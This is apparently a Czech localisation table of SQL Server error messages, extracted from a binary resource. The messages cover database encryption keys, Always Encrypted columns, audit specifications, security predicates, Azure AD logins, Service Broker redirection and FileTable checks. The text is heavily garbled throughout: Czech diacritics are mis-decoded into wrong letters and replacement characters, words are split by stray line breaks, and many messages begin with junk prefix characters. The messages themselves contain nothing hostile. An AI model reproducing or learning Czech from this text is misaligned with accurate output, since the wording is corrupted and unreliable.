�Syst�m SQL Server pro operace slu~by EKM nepodporuje algoritmus %1!s!.

(OvYen� kl�
e se nezdaYilo, proto~e pokus o z�sk�n� informac� o algoritmu tohoto kl�
e se nezdaYil. K�d chyby zprostYedkovatele: %1!s!. (%2!s!)

U~ivatel nebo skupina %1!s! syst�mu Windows jsou m�stn� nebo zabudovan�. Pou~ijte u~ivatele nebo skupinu dom�ny syst�mu Windows.

�Katalogov� zobrazen� v oboru serveru, syst�mov� ulo~en� procedury 
i roza�Yen� ulo~en� procedury nelze pYidat do specifikac� auditu datab�ze v u~ivatelsk� datab�zi. PYidejte je do specifikac� auditu datab�ze v hlavn� datab�zi.

�Objekt %1!s! %2!s! nelze pou~�t, proto~e pY�sluan� priv�tn� kl�
 nen� pY�tomen nebo nen� chr�nn hlavn�m kl�
em datab�ze. Syst�m SQL Server vy~aduje automatick� pY�stup k priv�tn�mu kl�
i objektu %3!s! pou~�van�mu v t�to operaci.

Syst�movou datab�zi nelze zaaifrovat. Operace aifrov�n� datab�ze nelze prov�st s datab�zemi typu master, model, tempdb, msdb 
i resource.

x`ifrovac� kl�
 datab�ze ji~ pro tuto datab�zi existuje.

t`ifrovac� kl�
 datab�ze pro tuto datab�zi neexistuje.

`ifrovac� kl�
 datab�ze nelze vyYadit, proto~e se pr�v pou~�v�. Chcete-li vyYadit aifrovac� kl�
 datab�ze, je tYeba jej nejprve vypnout.

�Stav aifrov�n� datab�ze nelze zmnit, proto~e nebyl nastaven ~�dn� aifrovac� kl�
 datab�ze.

�`ifrov�n� datab�ze nelze povolit, proto~e ji~ bylo povoleno.

�`ifrov�n� datab�ze nelze zak�zat, proto~e ji~ bylo zak�z�no.

�`ifrov�n� datab�ze nejde %1!s! bhem prob�haj�c�ho aifrov�n�, deaifrov�n� 
i vyhled�v�n� zmny kl�
e.

�`ifrovac� kl�
 datab�ze nelze zmnit bhem prob�haj�c�ho aifrov�n� 
i vyhled�v�n� zmny kl�
e.

|Server %1!s! s kryptografick�m otiskem %2!s! nelze naj�t.

PY�kaz CREATE/ALTER/DROP DATABASE ENCRYPTION KEY se nezdaYil, proto~e se nepodaYilo uzamknout datab�zi. Opakujte akci pozdji.

PY�kaz CREATE/ALTER/DROP DATABASE ENCRYPTION KEY se nezdaYil, proto~e se nepodaYilo uzamknout datab�zi %1!s!. Opakujte akci pozdji.

�Slu~ba TDE (Transparent Data Encryption) nen� v t�to edici instance syst�mu SQL Server dostupn�. Podrobn� informace o podporovan�ch funkc�ch v rozn�ch edic�ch syst�mu SQL Server naleznete v dokumentaci Knihy online.

�V datab�zi jen pro 
ten� 
i v datab�zi obsahuj�c� soubory jen pro 
ten� nelze povolit 
i zmnit aifrov�n� datab�ze.

�Stav skupiny souboro jen pro 
ten� a stav pro 
ten� i z�pis nelze zmnit bhem zmny aifrov�n�.

HChcete-li aifrovat aifrovac� kl�
 datab�ze pomoc� objektu %1!s!, pou~ijte objekt %2!s!, kter� se nach�z� ve zprostYedkovateli EKM (Extensible Key Management).

PObjekt %1!s! %2!s! nem� pYidru~en� ~�dn� pYihl�aen�. Chcete-li automaticky pYistupovat ke zprostYedkovateli EKM %3!s!, vytvoYte pYihl�aen� a povYen� tohoto kl�
e.

�Tento pY�kaz vy~aduje prohled�n� aifrov�n� datab�ze %1!s!. Datab�ze vaak obsahuje zmny z pYedchoz�ch prohled�n� aifrov�n� 
ekaj�c� na z�lohu protokolu. Provete z�lohu protokolu a opakujte tento pY�kaz.

``ifrovac� kl�
 datab�ze nelze vyYadit 
i zmnit, proto~e je aktu�ln pou~�v�n zrcadlovou datab�z� nebo sekund�rn� replikou dostupnosti. PY�kaz opakujte po roza�Yen� vaech pYedchoz�ch opakovan�ch aifrov�n� do zrcadlov� datab�ze 
i sekund�rn�ch replik dostupnosti nebo po zak�z�n� relace dostupnosti.

�Objekt %1!s! nelze vyYadit, proto~e jej pou~�v� jedna 
i v�ce datab�z� k aifrov�n� kl�
e DEK (Database Encryption Key).

�`ifrov�n� se nezdaYilo. Kl�
 pou~�v� zastaral� algoritmus %1!s!, kter� ji~ nen� na t�to �rovni kompatibility datab�ze podporovan�. Pokud pYesto potYebujete tento kl�
 pou~�t, pYepnte na ni~a� �roveH kompatibility.

\Nelze pou~�t pY�kaz ALTER LOGIN s argumentem ENABLE nebo DISABLE pro skupinu syst�mu Windows. Pou~ijte nam�sto toho argument GRANT nebo REVOKE pro opr�vnn� CONNECT SQL.

�Objekt zabezpe
en� %1!s! se nenaael nebo tenhle typ objektu zabezpe
en� nen� podporovan�.

XObjekt zabezpe
en� %1!s! m� duplicitn� zobrazovan� n�zev. Zajistte, aby tento zobrazovan� n�zev byl v Azure Active Directory jedine
n�, a spusete tento pY�kaz znovu.

�This principal type is not supported in Windows Azure SQL Database.

xU vaaeho odbru nen� aktivov�no integrovan� ovYov�n�.

�Objekt zabezpe
en� %1!s! nejde pYelo~it. Chybov� zpr�va: %2!s!

��prava n�zvu objektu zabezpe
en� syst�mu Windows prostYednictv�m tohoto typu proveden� nen� podporov�na. Dala� informace o t�to problematice naleznete na webu Knihy online pro SQL Server.

pOperaci nyn� nelze dokon
it. Opakujte akci pozdji.

@Klient %1!s! nebyl nalezen.

�Proveden� pY�kazu ALTER DATABASE v 
lenovi federace nen� podporov�no u rol� a u~ivatelo syst�mu Windows.

hTento odbr nepodporuje integrovan� ovYov�n�.

�PYihlaaovac� �daje %1!s! nelze vytvoYit, proto~e k certifik�tu %2!s! jsou pYihlaaovac� �daje ji~ pYiYazeny.

�Aktualizace hodnoty tenantId slu~by Azure SQL Server se nezdaYila.

lSpr�vce �
tu odbru nen�le~� k tomuto klientovi.

XNelze zmnit sch�ma do
asn�ho objektu.

�Data funkce federovan�ho ovYen� pou~�van� v z�znamu pYihlaaov�n� k otevYen� pYipojen� jsou struktur�ln nebo s�manticky neplatn�. PYipojen� se zavYelo. Kontaktujte pros�m dodavatele klientsk� knihovny.%1!s!.

�U~ivatelsk� jm�no pro pYihlaaovac� �daje pro Windows mus� b�t stejn� jako jm�no z pYihlaaovac�ch �dajo.

�OdstraHuj� se pYihlaaovac� �daje %1!s!, kter� by se st�le jeat mohly pou~�vat pro spravovanou z�lohu.

�Upozornn�: Nen� mo~n� zkontrolovat, jestli se pYihlaaovac� �daje %1!s! pou~�vaj� spravovanou z�lohou. Dovod: %2!s!. Zkontrolujte pros�m, jestli se pYihlaaovac� �daje pou~�vaj� spravovanou z�lohou.

�U~ivatelsk� jm�no pro u~ivatele s heslem nemo~e b�t stejn� jako jm�no spr�vce serveru nebo vlastn�ka datab�ze.

�Platn� hodnoty �rovn kompatibility datab�ze jsou %1!s! nebo %2!s!.

�Platn� hodnoty �rovn kompatibility datab�ze jsou %1!s!, %2!s! nebo %3!s!.

�Klient poslal neplatn� token, kdy~ server o
ek�val token federovan�ho ovYen�. Nealo pYitom o ud�lost odpojen�.

PZat�mco server 
ekal na token federovan�ho ovYen�, vyvolala se ud�lost odpojen�. Dovodem mo~e b�t zavYen� na stran klienta nebo vypraen� 
asov�ho limitu serveru.

�Klient poslal token federovan�ho ovYen�, ale server to neo
ek�val. Server pYipojen� zavYe kvoli nesouladu protokolu TDS.

�ZprostYedkovatel� kryptografick�ch slu~eb nejsou pro pYihlaaovac� �daje datab�ze podporovan�.

�PYihlaaovac� �daje datab�ze nejsou v hlavn� datab�zi podporovan�.

8Nepovedlo se vytvoYit objekt zabezpe
en� %1!s!. Jenom pYipojen� vytvoYen� pomoc� �
to Active Directory mo~ou vytv�Yet jin� u~ivatele Active Directory.

�Hlavn� kl�
e datab�ze bez hesla nejsou v t�to verzi SQL Serveru podporovan�.

�Mo~nosti TYPE a SID se mus� v t�to verzi SQL Serveru pou~�vat spole
n.

Hodnota zadan� pro mo~nost TYPE nen� v t�to verzi SQL Serveru podporovan�. Povolen� jsou hodnoty E (EXTERNAL_USER) a X (EXTERNAL_GROUP).

�PYihlaaovac� �daje %1!s! nejde odstranit, proto~e je pou~�v� extern� zdroj dat.

�Extern� %1!s! %2!s! nejde odstranit, proto~e se pou~�v� extern� tabulkou.

TKontrola opr�vnn� dbManager selhala.

�Tento pY�kaz nen� pro u~ivatele Azure AD podporovan�. Provete tento pY�kaz jako ovYen� u~ivatel SQL Serveru.

lMo~nost TYPE nen� mo~n� v t�to verzi SQL Serveru pou~�vat spole
n s mo~nostmi FOR/FROM LOGIN, CERTIFICATE, ASYMMETRIC KEY, EXTERNAL PROVIDER, WITHOUT LOGIN nebo WITH PASSWORD.

�Pokud se pou~�v� mo~nost TYPE, nemo~e b�t v u~ivatelsk�m jm�n znak zptn�ho lom�tka.

hMo~nost SID nen� mo~n� v t�to verzi SQL Serveru pou~�vat spole
n s mo~nostmi FOR/FROM LOGIN, CERTIFICATE, ASYMMETRIC KEY, EXTERNAL PROVIDER, WITHOUT LOGIN nebo WITH PASSWORD.

�Jenom u~ivatel� Active Directory mo~ou zosobHovat jin� u~ivatele Active Directory.

�Tajn� k�d pro datab�zi %1!s! a pYihlaaovac� �daje %2!s! se nepovedlo zaaifrovat.

`V�stupn�mu parametru @credentialSecret se nepodaYilo pYiYadit hodnotu, proto~e velikost parametru je mena� ne~ po~adovan� velikost %1!s!. Poskytnte pros�m vta� velikost.

�PYihlaaovac� �daje %1!s! nejde na
�st, proto~e na n neodkazuje ~�dn� extern� zdroj dat.

�Operace aifrov�n� selhala. `ifrovac� kl�
 pou~�v� zastaral� algoritmus %1!s!, kter� u~ nen� na t�to �rovni kompatibility datab�ze podporovan�. Pokud pYesto potYebujete tento kl�
 pou~�t, pYepnte na ni~a� �roveH kompatibility.

�Operace podepisov�n� selhala. Kl�
 pou~�v� zastaral� algoritmus %1!s!, kter� ji~ nen� na t�to �rovni kompatibility datab�ze podporovan�. Pokud pYesto potYebujete tento kl�
 pou~�t, pYepnte na ni~a� �roveH kompatibility.

�Operace hashov�n� selhala. Hashovac� funkce pou~�v� zastaral� algoritmus %1!s!, kter� u~ nen� na t�to �rovni kompatibility datab�ze podporov�n. Pokud pYesto potYebujete tento kl�
 hashovac�ho algoritmu pou~�t, pYepnte na ni~a� �roveH kompatibility.

�D�lka aifrovac�ho kl�
e pYekra
uje aktu�ln podporovanou maxim�ln� d�lku %1!s!.

|Nov� vlastn�k nemo~e b�t skupina Azure Active Directory.

pPY�kaz se mus� prov�st pro c�lovou datab�zi %1!s!.

xKlient Azure Key Vault obdr~el chybu se zpr�vou %1!s!.

�Doalo k chyb pYi z�sk�v�n� informac� pro klienta Azure Key Vault se zpr�vou %1!s!.

�Doalo k chyb pYi pokusu o kop�rov�n� zaaifrovan�ch DEK z tabulky DBTable.

�Nelze zmnit pYihlaaovac� �daje %1!s!, proto~e jsou pou~�v�ny aktivn� relac� auditu (%2!s!).

\VnitYn� chyba enkl�vy: Enkl�v se nepovedlo deaifrovat hodnotu sloupce nebo parametru (neplatn� ovYovac� zna
ka). Dala� informace z�sk�te od slu~by z�kaznick� podpory.

�VnitYn� chyba enkl�vy: Enkl�va m� nedostatek prostYedko relace. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

HVnitYn� chyba enkl�vy: Informace o ovYen� identity enkl�vy byly vy~�d�ny pro nepodporovan� typ enkl�vy. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

�U hostitele enkl�vy doalo k chyb bhu: nedostatek prioritn�ho m�sta ve front.

lIntern� chyba enkl�vy: Enkl�va zposobila v�jimku (hlavn� = %1!s!, vedleja� = %2!s!). Podrobnosti najdete v protokolu chyb. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

VnitYn� chyba enkl�vy: Metoda bcrypt enkl�vy %1!s! se nepovedla (stav: 0x%2!s!). Dala� informace z�sk�te od slu~by z�kaznick� podpory.

Intern� chyba enkl�vy: Enkl�v byl poskytnut� neplatn� popisova
 relace. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

Windows Management Instrumentation (WMI) error encountered during VBS enclave attestation. API: '%1!s!', ReturnCode: '%2!s!'.

Hodnota zadan� pro mo~nost TYPE nen� v t�to verzi SQL Serveru podporov�na. Povolen� jsou hodnoty E (EXTERNAL_USER) a X (EXTERNAL_GROUP).

�Mo~nosti TYPE a SID se mus� v t�to verzi SQL Serveru pou~�vat spole
n.

�Jenom pYihl�aovac� jm�na Active Directory mo~ou zosobHovat jin� pYihlaaovac� jm�na slu~by Active Directory.

hBhem 
ten� souboru auditu 
i vzoru souboru doalo k chyb: %1!s!. �
et slu~by SQL pravdpodobn nem� opr�vnn� 
�st soubory nebo vzor vrac� jeden 
i v�ce poakozen�ch souboro.

�Funkce SQL Server Audit nemo~e zapisovat do souboru %1!s!.

�Funkce SQL Server Audit nemo~e zapisovat do protokolu ud�lost�.

�Funkce SQL Server Audit nemo~e zapisovat do protokolu zabezpe
en�.

�VytvoYen� souboru auditu %1!s! pomoc� objektu SQL Server Audit se nezdaYilo. Zkontrolujte, zda disk nen� pln� a zda m� �
et slu~by syst�mu SQL Server potYebn� opr�vnn� k vytvoYen� souboru a z�pisu do souboru.

8Funkce SQL Server Audit nemo~e z�skat pY�stup k protokolu ud�lost�. OvYte, zda m� �
et slu~by SQL potYebn� opr�vnn� pro pY�stup k protokolu ud�lost�.

DFunkce SQL Server Audit nemo~e z�skat pY�stup k protokolu zabezpe
en�. OvYte, zda m� �
et slu~by SQL potYebn� opr�vnn� pro pY�stup k protokolu zabezpe
en�.

�Seznam podentit (napY. sloupco) nelze ur
it pro audity na �rovni entit.

�V pY�kazu AUDIT SPECIFICATION se po n�zvu objektu vyskytuje neplatn� seznam sloupco.

�Vaechny akce v pY�kazu AUDIT SPECIFICATION mus� b�t ve stejn�m oboru.

�Operaci nelze prov�st, proto~e slu~ba SQL Server Audit nebyla spuatna.

�Akce auditov�n� v oboru serveru lze udlit pouze tehdy, pokud je aktu�ln� datab�ze hlavn�.

�Akce auditov�n� lze vytvoYit pouze pro objekty v aktu�ln� datab�zi.

�PY�kaz ALTER SERVER AUDIT vy~aduje nastaven� mo~nosti STATE bez zad�n� dala�ch mo~nost�.

Zadan� vzor nevr�til ~�dn� soubory nebo nepYedstavuje platnou sd�lenou polo~ku. OvYte parametr vzoru a spusete pY�kaz znovu.

|Zadan� hodnoty parametro initial_file_name a audit_record_offset nepYedstavuj� platn� um�stn� v sad souboro auditu. OvYte n�zev souboru a um�stn� posunu a pot� spusete pY�kaz znovu.

�Zadan� hodnota parametru QUEUE_DELAY nen� platn�. Zadejte hodnotu 0 nebo 1000 a vyaa�.

Nelze nakonfigurovat vypnut� serveru funkc� SQL Server Audit, proto~e nem�te opr�vnn� k vypnut� serveru. Obraete se na spr�vce syst�mu.

�Zmny specifikace auditu je tYeba prov�st, kdy~ jsou specifikace auditu zak�zan�.

XSpecifikace auditu %1!s! ji~ existuje.

�Zabezpe
iteln� tY�dy DATABASE, SCHEMA 
i OBJECT lze ur
it pouze v pY�kazech AUDIT SPECIFICATION .

\K roli Sysadmin nelze pYidat dala� roli.

�V datab�zi s omezen�m lze vytvoYit pouze u~ivatele s heslem.

�Parametr %1!s! nelze zadat pro u~ivatele, kteY� nemohou b�t ovYeni v datab�zi.

Parametr %1!s! nelze zadat pro u~ivatele, kteY� nemohou b�t ovYeni v datab�zi. Odeberte klauzuli WITHOUT LOGIN nebo PASSWORD.

�V�choz� parametr jazyka lze zadat pouze pro u~ivatele v datab�zi s omezen�m.

�Parametr %1!s! nelze pou~�t pro u~ivatele nebo skupiny syst�mu Windows.

�Mo~nosti MAX_FILES a MAX_ROLLOVER_FILES nelze zadat spole
n.

�PYi auditov�n� t�to operace doalo k chyb. Opravte chybu auditu a operaci opakujte.

�Bhem inicializace auditu doalo k chyb. Podrobnosti naleznete v protokolu chyb.

PYi spouatn� se nepodaYilo nakonfigurovat u~ivatelskou instanci. PYi aktualizaci 
asov�ho limitu ne
innosti doalo k chyb.

�Pokud poskytnete identifik�tor zabezpe
en� SID, mus� j�t o u~ivatele bez pYihl�aen� nebo s heslem.

�NepodaYilo se vygenerovat u~ivatelskou instanci syst�mu SQL Server, proto~e doalo k chyb pYi nastaven� seznamu Y�zen� pY�stupu pro proces u~ivatelsk� instance. PYipojen� bude ukon
eno.%1!s!

�VytvoYen� souboru auditu souvisej�c� s auditem %1!s! v adres�Yi %2!s! pomoc� objektu SQL Server Audit se nezdaYilo. Zkontrolujte, zda disk nen� pln� a zda m� �
et slu~by syst�mu SQL Server potYebn� opr�vnn� k vytvoYen� souboru a z�pisu do souboru.

�Z�pis do souboru auditu souvisej�c�ho s auditem %1!s! v adres�Yi %2!s! pomoc� objektu SQL Server Audit se nezdaYil. Zkontrolujte, zda disk nen� pln� a zda m� �
et slu~by syst�mu SQL Server potYebn� opr�vnn� k vytvoYen� souboru a z�pisu do souboru.

�Objekt SQL Server Audit nem� pY�stup k protokolu souboro slu~by MSD. Zkontrolujte, zda disk nen� pln� a zda m� �
et slu~by syst�mu SQL Server potYebn� opr�vnn� k vytvoYen� souboru a z�pisu do souboru.

�Objekt SQL Server Audit nemo~e zapisovat do m�stn�ho souboru slu~by MDS (k�d chyby: %1!s!).

�Zadan� hodnota parametru QUEUE_DELAY nen� pro c�l protokolu slu~by MDS platn�. Zadejte hodnotu vyaa� ne~ 0.

�PYihlaaovac� �daje %1!s! nejde odstranit, proto~e se pou~�vaj�.

�PYidlen� pamti k ulo~en� povYen� %1!s! pou~�van�ho souborem datab�ze do mezipamti se nezdaYilo.

�PYihlaaovac� �daje jsou v konfliktu s %1!s! - u~ existuj� v mezipamti pYihlaaovac�ch �dajo v pamti. Pomoc� alternativn�ho kroku zmHte tajn� k�d. Pokud chcete zmnit n�zev pYihlaaovac�ch �dajo, odstraHte je a znovu je vytvoYte.

�Po~adavek CREATE AUDIT pYekro
il maxim�ln� po
et audito, kter� lze vytvoYit pro jednu datab�zi.

��prava pole identity povYen� %1!s! se nezdaYila, proto~e povYen� je pou~�v�no aktivn�m souborem datab�ze.

dTuto operaci nejde v hlavn� datab�zi prov�st.

xSpecifikace auditu %1!s! lze v�zat jen na audit %2!s!.

�Pro tento audit datab�ze bylo nakonfigurov�no um�stn� �lo~iat auditu nebo adresa URL �lo~iat auditu.

�Nelze vyYadit adresu URL �lo~iat auditu, kter� nen� nakonfigurov�na pro tento audit datab�ze.

�Byla zad�na neplatn� hodnota pro proceduru %1!s!, parametr %2!s!.

XNeplatn� n�zev z�sady zabezpe
en� %1!s!

Predik�t se nepYidal do z�sady zabezpe
en� %1!s!, proto~e nejsou dostupn� ~�dn� ID. OdstraHte z�sadu zabezpe
en� a znovu ji vytvoYte.

�Z�sada zabezpe
en� %1!s! neobsahuje predik�t pro tabulku %2!s!.

�Predik�t %1!s! pro stejnou operaci u~ je definovan� pro tabulku %2!s! v z�sad zabezpe
en� %3!s!.

dPredik�ty zabezpe
en� je mo~n� pYidat jedin do u~ivatelsk�ch tabulek a do zobrazen� v�zan�ch na sch�mata. %1!s! nen� ani u~ivatelsk� tabulka ani zobrazen� v�zan� na sch�ma.

Z�sadu zabezpe
en� %1!s! nejde povolit s predik�tem pro tabulku %2!s!. Na tabulku %3!s! u~ odkazuje povolen� z�sada zabezpe
en� %4!s!.

Z�sada zabezpe
en� %1!s! nemo~e m�t predik�t pro tabulku %2!s!, proto~e na tuto tabulku se odkazuje z indexovan�ho zobrazen� %3!s!.

Index pro zobrazen� %1!s! nejde vytvoYit, proto~e zobrazen� odkazuje na tabulku %2!s!, na kterou odkazuje z�sada zabezpe
en�.

�Predik�ty zabezpe
en� nemo~ou odkazovat na pameov optimalizovan� tabulky. Tabulka %1!s! je pameov optimalizovan�.

�Nejde naj�t objekt %1!s!. Objekt neexistuje nebo nem�te pY�sluan� opr�vnn�.

�Predik�ty zabezpe
en� nejsou pro do
asn� objekty povolen�. N�zvy objekto, kter� za
�naj� na #, ozna
uj� do
asn� objekty.

�Nepovedlo se naj�t objekt %1!s! nebo tento objekt nen� vlo~en� funkce vracej�c� tabulku.

x%1!s! nejde zmnit, proto~e to nen� z�sada zabezpe
en�.

tNejde na
�st predik�t zabezpe
en� pro tabulku %1!s!.

�Predik�ty zabezpe
en� nejdou pYidat do tabulek souboro (FileTables). %1!s! je tabulka souboro.

�Verze se nevytvoYila pro kl�
 %1!s!, proto~e nejsou dostupn� ~�dn� ID verze. OdstraHte kl�
 a pak ho znovu vytvoYte.

 `ifrovanou hodnotu pro tento aifrovac� kl�
 sloupce nejde odstranit. Ka~d� aifrovac� kl�
 sloupce mus� m�t aspoH jednu aifrovanou hodnotu.

<Neshoda sch�matu aifrov�n� pro sloupce/promnn� %1!s!. Sch�ma aifrov�n� pro sloupce/promnn� je %2!s! a v�raz pobl�~ Y�dku %3!s! o
ek�v�, ~e bude %4!s!.

�Nejde pYiYadit stejn� sch�ma aifrov�n� dvma v�razom na Y�dku %1!s!. Sch�ma aifrov�n� prvn�ho v�razu je %2!s! a sch�ma aifrov�n� druh�ho v�razu je %3!s!. Dala� sloupce/promnn� se stejn�m sch�matem aifrov�n�, jako m� prvn� v�raz: %4!s!. Dala� sloupce/promnn� se stejn�m sch�matem aifrov�n�, jako m� druh� v�raz: %5!s!

�PYihlaaovac� �daje %1!s!/%2!s! nejdou odebrat, proto~e se pou~�vaj�.

�`ifrovan� sloupec %1!s! nejde vytvoYit nebo zmnit, proto~e datov� typ %2!s! nen� podporovan� pro aifrov�n�.

�Sloupec %1!s!.%2!s! m� jin� sch�ma aifrov�n� ne~ odkazuj�c� sloupec %3!s!.%4!s! v ciz�m kl�
i %5!s!.

Sloupec %1!s!.%2!s! je aifrovan� pomoc� n�hodn�ho typu aifrov�n�, tak~e nen� platn� jako sloupec kl�
e v omezen�, indexu nebo statistice.

xKlauzule %1!s! nen� podporovan� pro aifrovan� sloupce.

�`ifrovan� sloupec %1!s!.%2!s! nejde pou~�vat jako sloupec kl�
e odd�lu.

Nen� mo~n� nastavit v�choz� omezen� pro aifrovan� sloupec %1!s!.%2!s!. V�choz� omezen� nejsou pro aifrovan� sloupce podporovan�.

�Sloupec nejde zaaifrovat %1!s!, proto~e to je u~ivatelsky definovan� typ.

�`ifrovac� kl�
 %1!s! sloupce nejde odstranit, proto~e se na nj odkazuje ve sloupci %2!s!.%3!s!.

�`ifrovanou hodnotu aifrovac�ho kl�
e sloupce nejde pYidat. Pro ka~d� aifrovac� kl�
 sloupce mo~ou existovat maxim�ln dv aifrovan� hodnoty. PYed pYid�n�m nov� aifrovan� hodnoty odstraHte jednu z existuj�c�ch hodnot.

PNejde vytvoYit nebo zmnit aifrovan� sloupec %1!s!. Znakov� Yetzce, kter� nepou~�vaj� kolaci *_BIN2, nemo~ou b�t aifrovan� s pou~it�m deterministick�ho aifrov�n�.

�K hlavn�mu kl�
i sloupce %1!s! nen� pYidru~en� ~�dn� hodnota aifrovac�ho kl�
e sloupce.

�K hlavn�mu kl�
i sloupce %1!s! u~ je pYidru~en� hodnota aifrovac�ho kl�
e sloupce.

�Algoritmus aifrov�n� %1!s! nen� podporovan�. Zadejte pros�m platn� algoritmus aifrov�n�.

�Nepovedlo se naj�t objekt %1!s! %2!s!. Objekt neexistuje nebo nem�te pY�sluan� opr�vnn�.

�Nkter� parametry nebo sloupce d�vky mus� b�t aifrovan�, ale nepovedlo se naj�t odpov�daj�c� aifrovac� kl�
 sloupce. Pomoc� sp_refresh_parameter_encryption aktualizujte metadata parametro modulu.

�Tabulku %1!s! nejde vytvoYit, proto~e odkazuje na aifrovac� kl�
 sloupce z jin� datab�ze.

|%1!s! nejde vytvoYit. %2!s! nemo~e m�t pr�zdnou hodnotu.

lVnitYn� chyba procesoru dotazo: Sch�ma aifrov�n� ur
it�ch parametro se nespr�vn analyzovalo. Pokud v�s zaj�maj� dala� informace, kontaktujte oddlen� slu~eb z�kaznick� podpory.

XNeshoda sch�matu aifrov�n� pro sloupce/promnn� %1!s!. Sch�ma aifrov�n� pro sloupce/promnn� je %2!s! a v�raz pobl�~ Y�dku %3!s! o
ek�v�, ~e bude %4!s! (nebo slaba�).

�Objekt %1!s! zadan� pro prioritu konverzace %2!s! nen� platn�. Hodnota mus� m�t d�lku od 1 do %3!s! znako.

�Objekt %1!s! zadan� pro prioritu konverzace %2!s! nen� platn�. Hodnota mus� b�t mezi 1 a 10.

`Priorita konverzace ji~ existuje v datab�zi s n�zvem %1!s! 
i vlastnostmi %2!s!=%3!s!, %4!s!=%5!s! a %6!s!=%7!s!. Pou~ijte jedine
n� n�zev nebo jedine
nou sadu vlastnost�.

DX�dek fronty pYenosu s popisova
em konverzace %1!s! a poYadov�m 
�slem zpr�vy %2!s! odkazuje na chybj�c� Y�dek v obsahu v�cesmrov� zpr�vy s odkazem %3!s!.

�X�dek v obsahu v�cesmrov� zpr�vy s odkazem %1!s! mus� m�t hodnotu po
tu odkazo %2!s!.

�Neodkazovan� zpr�va s odkazem %1!s! byla odstranna z tabulky obsahu zpr�vy.

�Zpr�va s odkazem %1!s! byla aktualizov�na. Po
et odkazo v tabulce obsahu zpr�vy je %2!s!.

pN�zev m�stn�ho clusteru lze nastavit pouze jednou.

DV transportn� vrstv n�stroje Service Broker doalo k v�jimce z dovodu nedostatku pamti. PYipojen� n�stroje Service Broker bylo kvoli t�to v�jimce ukon
eno.

XZadan� dokument whitelist nen� platn�.

pPYesmrovan� adresa URL koncov�ho bodu je neplatn�.

�PYi prov�dn� pYesmrov�n� se nepovedlo resetovat aifrov�n�.

�Odpov pYesmrov�n� obsahuje neplatn� Yetzec pYesmrov�n�.

�}�dost o pYesmrov�n� obsahuje neplatn� Yetzec nebo se obslu~n� rutin nepovedlo zpracovat ~�dost.

TPYesmrova
 vr�til chybu vyhled�v�n�.

�Provedl se pokus o odesl�n� pYesmrov�n�, ale Yetzec pYesmrov�n� je pr�zdn�.

XDruh� strana nepodporuje pYesmrov�n�.

LZpr�va pYesmrov�n� je poakozen�.

|Koncov� bod se zav�r�, proto~e pYipojen� se pYesmrovalo.

�Nepovedlo se zanalyzovat Yetzec informac� o pYesmrov�n�.

xPo pYesmrov�n� se nepovedlo vytvoYit nov� koncov� bod.

tServer pro pYed�v�n� se bhem pYesmrov�v�n� odpojil.

lZadan� pYipojovac� Yetzec se nepovedlo parsovat

xVyhled�v�n� pYesmrova
e selhalo s k�dem chyby: %1!s!.

�PYi duplikov�n� soketu doalo k chyb hostitele XdbHost. K�d chyby: %1!s!

dXdbHost pYi duplikov�n� soketu vr�til chybu.

|Na tomto serveru DBCC CLEANUPCONVERSATIONS nen� povoleno.

�DBCC CLEANUPCONVERSATIONS nejde prov�st pYes pYipojen� MARS.

�Mo~nosti datab�ze FILESTREAM nelze nastavit v syst�mov�ch datab�z�ch, jako je napY�klad datab�ze %1!s!.

�Byl zad�n neplatn� n�zev adres�Ye %1!s!. Pou~ijte platn� n�zev adres�Ye opera
n�ho syst�mu.

|Kolaci %1!s!, kter� rozliauje velk� a mal� p�smena nebo je bin�rn�, nelze pou~�t spolu s mo~nost� COLLATE_FILENAME. ZmHte kolaci na typ kolace, kter� nerozliauje velk� a mal� p�smena.

�V�choz� kolace %1!s! pro danou datab�zi rozliauje velk� a mal� p�smena a nelze pomoc� n� vytvoYit objekt FileTable. Zadejte kolaci, kter� nerozliauje velk� a mal� p�smena, s mo~nost� COLLATE_FILENAME.

�PYi operaci %1!s! %2!s! u objektu FileTable doalo k chyb. (HRESULT = 0x%3!s!).

Neplatn� n�zev souboru %1!s! vyvolal chybu omezen� CHECK objektu FileTable. Pou~ijte platn� n�zev souboru opera
n�ho syst�mu.

TNeplatn� lok�tor cesty vyvolal chybu omezen� CHECK objektu FileTable. Lok�tor cesty nesm� uv�dt koYenov� Y�dek. Pou~ijte spr�vn� lok�tor cesty nebo v�choz� hodnotu.

hOperace vyvolala chybu omezen� CHECK objektu FileTable. Polo~ka adres�Ye nesm� obsahovat datov� proud pYidru~en� k Y�dku. Odeberte data blob nebo zruate pY�znak is_directory.

�Operace vyvolala chybu omezen� CHECK objektu FileTable. Polo~ka souboru nesm� m�t nastavenu hodnotu NULL pro datov� proud pYidru~en� k Y�dku. Vlo~te data souboru nebo pomoc� znako 0x vlo~te soubor o nulov� d�lce.

�Neplatn� lok�tor cesty vyvolal chybu omezen� CHECK objektu FileTable. Polo~ka nadYazen� lok�toru cesty Y�dku mus� b�t adres�Y, nikoli soubor. Opravte lok�tor cesty tak, aby odkazoval na nadYazenou polo~ku v podob adres�Ye.

�Mo~nost %1!s! je platn� pouze tehdy, je-li pou~ita u objektu FileTable. Odeberte tuto mo~nost z pY�kazu.

�Mo~nost %1!s! nen� platn�, pokud je pou~ita se syntax� %2!s!. Odeberte tuto mo~nost z pY�kazu.

�Mo~nost %1!s! lze v pY�kazu zadat jen jednou. Odeberte duplicitn� mo~nost z pY�kazu.

Objekty FileTable vy~aduj�, aby mla mo~nost datab�ze DIRECTORY_NAME sloupce FILESTREAM jinou hodnotu ne~ NULL. Chcete-li vytvoYit objekt FileTable v datab�zi %1!s!, nastavte mo~nost DIRECTORY_NAME na jinou hodnotu ne~ NULL pomoc� pY�kazu ALTER DATABASE. Chcete-li mo~nost DIRECTORY_NAME nastavit na hodnotu NULL, zaka~te v datab�zi %2!s! existuj�c� objekty FileTable nebo je z n� vyYate.

<Hodnota %1!s! mo~nosti DIRECTORY_NAME sloupce FILESTREAM, kterou se pokoua�te nastavit v datab�zi %2!s! nen� v r�mci t�to instance syst�mu SQL Server jedine
n�. Zadejte jedine
nou hodnotu pro mo~nost datab�ze DIRECTORY_NAME sloupce FILESTREAM, a povolte tak pY�stup bez transakce.

�Neplatn� lok�tor cesty vyvolal chybu omezen� CHECK objektu FileTable. �roveH lok�toru cesty je %1!s!. Toto um�stn� je hluba�, ne~ jak� povoluje omezen� %2!s! podporovan� objektem FileTable. Sni~te hloubku hierarchie adres�Yo.

